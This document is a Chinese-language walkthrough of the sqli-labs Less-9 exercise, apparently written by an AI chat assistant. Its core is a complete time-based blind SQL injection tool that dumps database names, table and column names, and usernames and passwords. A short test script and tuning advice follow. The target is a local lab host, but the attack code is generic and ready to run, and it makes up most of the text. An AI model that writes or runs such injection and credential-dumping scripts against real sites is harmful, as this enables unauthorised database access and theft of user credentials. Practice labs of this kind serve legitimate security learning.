
Less-9 代码分析
关键特征
php
if($row)
{
echo 'You are in...........'; // ← 有数据时显示
}
else
{
echo 'You are in...........'; // ← 没数据也显示一样的内容!
}
核心特点:无论成功还是失败,都显示 "You are in"!
对比分析
| 特征 | Less-5 | Less-8 | Less-9 |
|---|---|---|---|
| 成功时 | "You are in" | "You are in" | "You are in" |
| 失败时 | 显示错误 | 空白 | "You are in" |
| 页面差异 | ✅ 有 | ✅ 有 | ❌ 完全相同 |
| 报错注入 | ✅ | ❌ | ❌ |
| 布尔盲注 | ✅ | ✅ | ❌ 不行 |
| 时间盲注 | ✅ | ✅ | ✅ 只能用这个 |
专门的时间盲注脚本
我给你写一个专门针对时间盲注优化的脚本:
python
import requests
import time
from tqdm import tqdm
from concurrent.futures import ThreadPoolExecutor, as_completed
import threading
# ==================== 配置区 ====================
URL = "http://192.168.224.1:8887/Less-9/?id="
CLOSURE = "'" # 闭合字符
SLEEP_TIME = 3 # 延迟秒数(不要设置太大,影响速度)
TIMEOUT = SLEEP_TIME + 2 # 超时时间 = 延迟时间 + 缓冲
THRESHOLD = SLEEP_TIME - 0.5 # 判断阈值(如果响应时间 > 这个值,认为是True)
NUM_THREADS = 5 # 时间盲注建议用较少的线程
# ==================== 全局变量 ====================
request_count = 0
request_lock = threading.Lock()
# ==================== 核心函数 ====================
def check_time_based(payload):
"""
时间盲注检测
返回True表示条件成立(有延迟),False表示条件不成立(无延迟)
"""
global request_count
try:
start_time = time.time()
resp = requests.get(URL + payload, timeout=TIMEOUT)
elapsed = time.time() - start_time
with request_lock:
request_count += 1
# 如果响应时间超过阈值,说明执行了sleep,条件为True
return elapsed > THRESHOLD
except requests.Timeout:
# 超时也说明执行了sleep
return True
except Exception as e:
return False
def get_length_time(query, max_length=100):
"""
使用时间盲注+二分查找获取长度
"""
low, high = 1, max_length
with tqdm(total=None, desc="获取长度", unit="次", leave=False) as pbar:
while low < high:
mid = (low + high + 1) // 2
payload = f"1{CLOSURE} and if(length(({query}))>={mid},sleep({SLEEP_TIME}),1) --+"
pbar.set_postfix({"范围": f"[{low},{high}]", "测试": mid})
if check_time_based(payload):
low = mid
else:
high = mid - 1
pbar.update(1)
return low
def get_char_at_position_time(query, position):
"""
使用时间盲注+二分查找获取指定位置的字符
"""
low, high = 32, 126 # ASCII可打印字符范围
while low < high:
mid = (low + high + 1) // 2
payload = f"1{CLOSURE} and if(ascii(substr(({query}),{position},1))>={mid},sleep({SLEEP_TIME}),1) --+"
if check_time_based(payload):
low = mid
else:
high = mid - 1
return (position, chr(low) if low >= 32 else '?')
def get_string_time(query, length, desc="获取字符串", use_multithread=True):
"""
使用时间盲注获取字符串
use_multithread: 是否使用多线程(时间盲注建议少用,避免对服务器压力太大)
"""
if length == 0:
return ""
result_dict = {}
if use_multithread:
# 多线程版本
with ThreadPoolExecutor(max_workers=NUM_THREADS) as executor:
futures = {
executor.submit(get_char_at_position_time, query, pos): pos
for pos in range(1, length + 1)
}
with tqdm(total=length, desc=desc, unit="字符") as pbar:
for future in as_completed(futures):
try:
position, char = future.result()
result_dict[position] = char
current_result = ''.join([
result_dict.get(i, '?')
for i in range(1, length + 1)
])
pbar.set_postfix({"当前": current_result[:20] + "..." if len(current_result) > 20 else current_result})
pbar.update(1)
except Exception as e:
print(f"\n[!] 错误: {e}")
else:
# 单线程版本(更稳定)
with tqdm(total=length, desc=desc, unit="字符") as pbar:
for pos in range(1, length + 1):
_, char = get_char_at_position_time(query, pos)
result_dict[pos] = char
current_result = ''.join([
result_dict.get(i, '?')
for i in range(1, length + 1)
])
pbar.set_postfix({"当前": current_result})
pbar.update(1)
result = ''.join([result_dict.get(i, '?') for i in range(1, length + 1)])
return result
def get_count_time(query):
"""
使用时间盲注获取数量(二分查找)
"""
low, high = 0, 100
with tqdm(total=None, desc="获取数量", unit="次", leave=False) as pbar:
while low < high:
mid = (low + high + 1) // 2
payload = f"1{CLOSURE} and if(({query})>={mid},sleep({SLEEP_TIME}),1) --+"
pbar.set_postfix({"范围": f"[{low},{high}]", "测试": mid})
if check_time_based(payload):
low = mid
else:
high = mid - 1
pbar.update(1)
return low
# ==================== 数据库信息获取 ====================
def get_database_time():
"""获取数据库名"""
print("\n" + "="*60)
print("【1】获取数据库名")
print("="*60)
query = "select database()"
length = get_length_time(query)
print(f"[+] 数据库名长度: {length}")
db_name = get_string_time(query, length, "获取数据库名", use_multithread=False)
print(f"[+] 数据库名: {db_name}")
return db_name
def get_table_count_time(db_name):
"""获取表的数量"""
print(f"\n[*] 获取数据库 '{db_name}' 的表数量...")
query = f"select count(table_name) from information_schema.tables where table_schema='{db_name}'"
count = get_count_time(query)
print(f"[+] 表数量: {count}")
return count
def get_table_name_time(db_name, index):
"""获取指定位置的表名"""
query = f"select table_name from information_schema.tables where table_schema='{db_name}' limit {index},1"
length = get_length_time(query)
if length == 0:
return None
table_name = get_string_time(query, length, f"获取表{index+1}", use_multithread=False)
return table_name
def get_all_tables_time(db_name):
"""获取所有表名"""
print("\n" + "="*60)
print("【2】获取所有表名")
print("="*60)
table_count = get_table_count_time(db_name)
tables = []
for i in range(table_count):
table_name = get_table_name_time(db_name, i)
if table_name:
tables.append(table_name)
print(f"[+] 表 {i+1}: {table_name}")
return tables
def get_column_count_time(table_name):
"""获取列数量"""
print(f"\n[*] 获取表 '{table_name}' 的列数量...")
query = f"select count(column_name) from information_schema.columns where table_name='{table_name}'"
count = get_count_time(query)
print(f"[+] 列数量: {count}")
return count
def get_column_name_time(table_name, index):
"""获取指定位置的列名"""
query = f"select column_name from information_schema.columns where table_name='{table_name}' limit {index},1"
length = get_length_time(query)
if length == 0:
return None
column_name = get_string_time(query, length, f"获取列{index+1}", use_multithread=False)
return column_name
def get_all_columns_time(table_name):
"""获取所有列名"""
print("\n" + "="*60)
print(f"【3】获取表 '{table_name}' 的所有列名")
print("="*60)
column_count = get_column_count_time(table_name)
columns = []
for i in range(column_count):
column_name = get_column_name_time(table_name, i)
if column_name:
columns.append(column_name)
print(f"[+] 列 {i+1}: {column_name}")
return columns
def get_data_count_time(table_name):
"""获取数据行数"""
print(f"\n[*] 获取表 '{table_name}' 的数据行数...")
query = f"select count(*) from {table_name}"
count = get_count_time(query)
print(f"[+] 数据行数: {count}")
return count
def get_row_data_time(table_name, columns, row_index):
"""获取指定行的数据"""
row_data = {}
print(f"\n[*] 获取第 {row_index+1} 行数据...")
for column in columns:
query = f"select {column} from {table_name} limit {row_index},1"
length = get_length_time(query)
if length == 0:
row_data[column] = "(NULL)"
else:
value = get_string_time(query, length, f"获取{column}", use_multithread=False)
row_data[column] = value
return row_data
def get_all_data_time(table_name, columns, max_rows=None):
"""获取所有数据"""
print("\n" + "="*60)
print(f"【4】获取表 '{table_name}' 的所有数据")
print("="*60)
row_count = get_data_count_time(table_name)
if max_rows and row_count > max_rows:
print(f"[!] 数据行数 ({row_count}) 超过限制 ({max_rows}),只获取前 {max_rows} 行")
row_count = max_rows
all_data = []
for i in range(row_count):
row_data = get_row_data_time(table_name, columns, i)
all_data.append(row_data)
print(f"\n[+] 第 {i+1} 行:")
for col, val in row_data.items():
print(f" {col}: {val}")
return all_data
# ==================== 快速模式 ====================
def quick_dump_users_time():
"""
快速模式:直接获取users表的username和password
"""
print("""
╔══════════════════════════════════════════════════════════════╗
║ 时间盲注专用脚本 - Less-9 ║
║ Time-based Blind SQL Injection ║
╚══════════════════════════════════════════════════════════════╝
""")
print(f"目标URL: {URL}")
print(f"闭合字符: {CLOSURE}")
print(f"延迟时间: {SLEEP_TIME}秒")
print(f"判断阈值: {THRESHOLD}秒")
print(f"线程数: {NUM_THREADS}")
start_time = time.time()
try:
# 确认时间盲注可用
print("\n" + "="*60)
print("【0】验证时间盲注")
print("="*60)
print("[*] 测试True条件(应该延迟)...")
test_start = time.time()
result_true = check_time_based(f"1{CLOSURE} and if(1=1,sleep({SLEEP_TIME}),1) --+")
test_elapsed = time.time() - test_start
print(f" 响应时间: {test_elapsed:.2f}秒")
print(f" 结果: {'✅ 有延迟(True)' if result_true else '❌ 无延迟(异常)'}")
print("\n[*] 测试False条件(应该立即返回)...")
test_start = time.time()
result_false = check_time_based(f"1{CLOSURE} and if(1=2,sleep({SLEEP_TIME}),1) --+")
test_elapsed = time.time() - test_start
print(f" 响应时间: {test_elapsed:.2f}秒")
print(f" 结果: {'❌ 有延迟(异常)' if result_false else '✅ 无延迟(False)'}")
if not result_true or result_false:
print("\n[!] 时间盲注验证失败!请检查配置")
return
print("\n✅ 时间盲注验证成功!\n")
# 获取数据库名
db_name = get_database_time()
# 获取users表的数据行数
print("\n[*] 获取users表数据行数...")
query = "select count(*) from users"
count = get_count_time(query)
print(f"[+] 数据行数: {count}")
# 获取所有用户数据
print(f"\n[*] 开始获取 {min(count, 5)} 个用户的数据...\n")
for i in range(min(count, 5)): # 限制5个,时间盲注太慢
print(f"[*] 获取用户 {i+1}/{count}")
# 获取username
username_query = f"select username from users limit {i},1"
username_len = get_length_time(username_query)
username = get_string_time(username_query, username_len, f"Username {i+1}", use_multithread=False)
# 获取password
password_query = f"select password from users limit {i},1"
password_len = get_length_time(password_query)
password = get_string_time(password_query, password_len, f"Password {i+1}", use_multithread=False)
print(f"[+] 用户{i+1}: {username}:{password}\n")
# 统计信息
elapsed = time.time() - start_time
print("\n" + "="*60)
print("【统计信息】")
print("="*60)
print(f"总请求次数: {request_count}")
print(f"总耗时: {elapsed:.2f} 秒 ({elapsed/60:.2f} 分钟)")
print(f"平均速度: {request_count/elapsed:.2f} 请求/秒")
print("="*60)
except KeyboardInterrupt:
print("\n\n[!] 用户中断")
elapsed = time.time() - start_time
print(f"已运行: {elapsed:.2f} 秒 ({elapsed/60:.2f} 分钟)")
print(f"已完成: {request_count} 个请求")
# ==================== 主函数 ====================
def main():
"""完整模式"""
print("""
╔══════════════════════════════════════════════════════════════╗
║ 时间盲注自动化工具 - Less-9 ║
║ Time-based Blind SQL Injection Tool ║
╚══════════════════════════════════════════════════════════════╝
""")
start_time = time.time()
try:
# 获取数据库名
db_name = get_database_time()
# 获取所有表名
tables = get_all_tables_time(db_name)
# 选择表
target_table = 'users' if 'users' in tables else tables[0]
print(f"\n[*] 目标表: {target_table}")
# 获取列名
columns = get_all_columns_time(target_table)
# 获取数据(限制3行,时间盲注太慢)
all_data = get_all_data_time(target_table, columns, max_rows=3)
# 统计
elapsed = time.time() - start_time
print("\n" + "="*60)
print("【统计信息】")
print("="*60)
print(f"总请求次数: {request_count}")
print(f"总耗时: {elapsed:.2f} 秒 ({elapsed/60:.2f} 分钟)")
print(f"平均速度: {request_count/elapsed:.2f} 请求/秒")
print("="*60)
except KeyboardInterrupt:
print("\n\n[!] 用户中断")
# ==================== 入口 ====================
if __name__ == "__main__":
import sys
if len(sys.argv) > 1 and sys.argv[1] == 'quick':
# 快速模式
quick_dump_users_time()
else:
# 完整模式
main()

就是慢的很,因为每次爆破要等时间确认。下面这个等了二十分钟才拉出来这么一点。

使用方法
1. 快速模式(推荐)
bash
python3 time_blind_sqli.py quick
2. 完整模式
bash
python3 time_blind_sqli.py
配置说明
python
SLEEP_TIME = 3 # 延迟秒数
# 太小:可能误判(网络延迟)
# 太大:速度太慢
# 推荐:2-5秒
THRESHOLD = 2.5 # 判断阈值
# = SLEEP_TIME - 0.5
# 响应时间 > 这个值 → True
NUM_THREADS = 5 # 线程数
# 时间盲注建议少用多线程
# 避免对服务器压力太大
时间盲注 vs 布尔盲注 对比
| 特性 | 布尔盲注(Less-8) | 时间盲注(Less-9) |
|---|---|---|
| 页面差异 | ✅ 有(成功/失败不同) | ❌ 无(完全相同) |
| 判断依据 | 页面内容 | 响应时间 |
| 速度 | 快(0.1秒/请求) | 慢(3秒/请求) |
| 稳定性 | 高 | 中等(网络影响) |
| 服务器压力 | 小 | 大(sleep占用连接) |
| 多线程 | 推荐10+ | 建议5以内 |
性能预估
获取一个8字符的字符串:
- 长度判断:约7次请求 × 3秒 = 21秒
- 逐字符获取:8字符 × 7次 × 3秒 = 168秒
- 总计:约 3分钟
获取users表(13个用户):
- 每个用户2个字段(username + password)
- 平均每个字段8字符
- 13 × 2 × 3分钟 = 约78分钟
实际建议:
- 只获取前3-5个用户
- 或使用更短的SLEEP_TIME(如1秒)
优化建议
1. 减少延迟时间
python
SLEEP_TIME = 1 # 从3秒减到1秒
THRESHOLD = 0.7 # 相应调整阈值
2. 只获取关键数据
python
# 只获取username,不获取password
# 只获取前3个用户
3. 使用单线程(更稳定)
python
use_multithread=False
测试脚本
快速验证Less-9:
python
import requests
import time
url = "http://192.168.224.1:8887/Less-9/?id="
# 测试1:True条件
print("[*] 测试True条件(应该延迟3秒)...")
start = time.time()
resp = requests.get(url + "1' and if(1=1,sleep(3),1) --+", timeout=5)
elapsed = time.time() - start
print(f" 响应时间: {elapsed:.2f}秒")
print(f" 页面内容: {'You are in' in resp.text}")
# 测试2:False条件
print("\n[*] 测试False条件(应该立即返回)...")
start = time.time()
resp = requests.get(url + "1' and if(1=2,sleep(3),1) --+", timeout=5)
elapsed = time.time() - start
print(f" 响应时间: {elapsed:.2f}秒")
print(f" 页面内容: {'You are in' in resp.text}")
# 测试3:验证数据库名第一个字符
print("\n[*] 验证数据库名第一个字符是 's'...")
start = time.time()
resp = requests.get(url + "1' and if(ascii(substr(database(),1,1))=115,sleep(3),1) --+", timeout=5)
elapsed = time.time() - start
print(f" 响应时间: {elapsed:.2f}秒")
print(f" 结果: {'✅ 是s' if elapsed > 2.5 else '❌ 不是s'}")
这个脚本专门针对时间盲注优化,比Less-5的通用脚本更适合Less-9!🎯